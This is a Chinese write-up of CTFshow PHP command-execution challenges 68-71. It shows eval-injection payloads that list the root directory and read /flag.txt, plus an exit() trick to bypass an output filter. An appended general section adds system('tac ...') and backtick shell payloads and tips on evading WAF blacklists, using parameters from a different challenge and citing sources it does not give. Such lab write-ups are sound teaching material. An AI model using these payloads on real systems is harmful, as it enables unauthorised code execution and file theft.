CTFshow web(php命令执行 68-71)

文章讲述了在PHP代码审计中,作者逐步分析了一个包含用户提交payload的脚本,展示了如何通过代码审计技巧绕过输出过滤,最终成功提取flag.txt文件的过程。

                                                                       web68

         

还是那句话,没看到flag在哪,那就优先找到flag位置

这里c=var_dump(scandir("/"));

直接输出根目录的位置,然后查看源代码,发现flag位置为flag.txt

知道flag在根目录下面的flag.txt直接访问就好了

c=include('/flag.txt');

                                                                        web69

payload:c=include('/flag.txt');

上题payload没有禁用,直接白嫖!

                                                                        web70

payload:c=include('/flag.txt');

上题payload没有禁用,直接白嫖!

                                                                        web71

首先拿到一串代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

代码审计:

  • 使用 ob_get_contents() 和 ob_end_clean() 函数获取并清除输出缓冲区中的内容。这是为了捕获执行命令后的结果,并将其传递给 preg_replace() 函数进行处理。

  • 使用 preg_replace("/[0-9]|[a-z]/i","?",$s) 将输出结果中的数字和小写字母替换为 ?,然后将结果进行输出。    

ps:害怕小白不懂,解释下。缓冲区(Buffer)是计算机系统中的一块内存区域,用于临时存储数据。它可以在数据传输之间起到缓冲和调节作用,以提高数据传输的效率或解决传输速度不匹配的问题。

先把上题payload看看能不能白嫖啊

c=include('/flag.txt');

好小子,看来你是要上天啊!

根据代码审计结果,既然会把输出结果中的数字和小写字母替换为 ?

那不用缓冲区不就好了!

最后加一个exit();

c=include('/flag.txt');exit();

真诚希望我的文章能够帮助大家,谢谢!过年写下这篇文章总觉得还得加上一句:

祝愿大家龙年吉祥!                          

### CTFShow Web 入门命令执行挑战解析 在处理CTFShow平台中的Web类别入门级别命令执行挑战时,理解如何利用PHP代码注入来实现远程命令执行(RCE)至关重要。通过分析给定的参数传递方式以及服务器端脚本的行为模式,可以找到绕过简单过滤机制的方法。 对于此类题目,通常会提供一个带有漏洞的应用程序接口,允许攻击者通过特定输入点提交恶意数据。在这个例子中,存在两个主要入口用于测试:一个是基于URL查询字符串的方式;另一个则是表单POST请求方法[^3]。 #### 利用PHP函数进行命令执行 当遇到能够控制部分PHP源码的情况时,可以通过精心构造payload触发底层操作系统指令调用。例如,在给出的例子中有如下形式: ```php <?php echo `ls`; ?> ``` 这段代码会在当前工作目录下执行Linux/Unix系统的`ls`命令并显示其输出结果。为了进一步探索文件结构或读取敏感信息,可替换为其他有用的操作系统命令组合,如`cat`、`find`等。 针对此题目的具体场景,如果目标是获取某个特定PHP文件的内容,则可以根据上下文调整上述模板以适应实际需求。比如要逆向打印整个`ctfshow.php`文件内容,可以构建这样的HTTP GET请求: ``` ?v1=1&v2=system("tac%20ctfshow.php")/* ``` 这里使用了GNU/Linux特有的`tac`工具代替常见的`cat`命令,从而实现了从最后一行到第一行反序展示文本的效果。同时注意到了SQL注释符`/* */`的存在,这有助于屏蔽掉后续不必要的字符干扰。 另外一种常见技巧涉及直接访问内部变量状态,这对于调试和信息收集非常有帮助。假设想要查看名为`$ctfshow`的数据项详情,那么就可以发送类似下面所示的链接地址: ``` ?v1=1&v2=var_dump($ctfshow); ``` 这种方法依赖于PHP内置诊断功能——`var_dump()`函数,它能清晰地呈现出传入表达式的类型及其值。 #### 绕过基本防护措施 尽管某些情况下可能存在简单的正则表达式匹配型WAF(Web Application Firewall),但只要掌握了它们的工作原理就很容易规避这些限制。观察提供的WAF检测逻辑可知,主要是对一些关键字进行了黑名单过滤[^4]。因此,在设计最终有效载荷之前应当仔细考虑怎样巧妙避开那些被监控的关键字列表。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值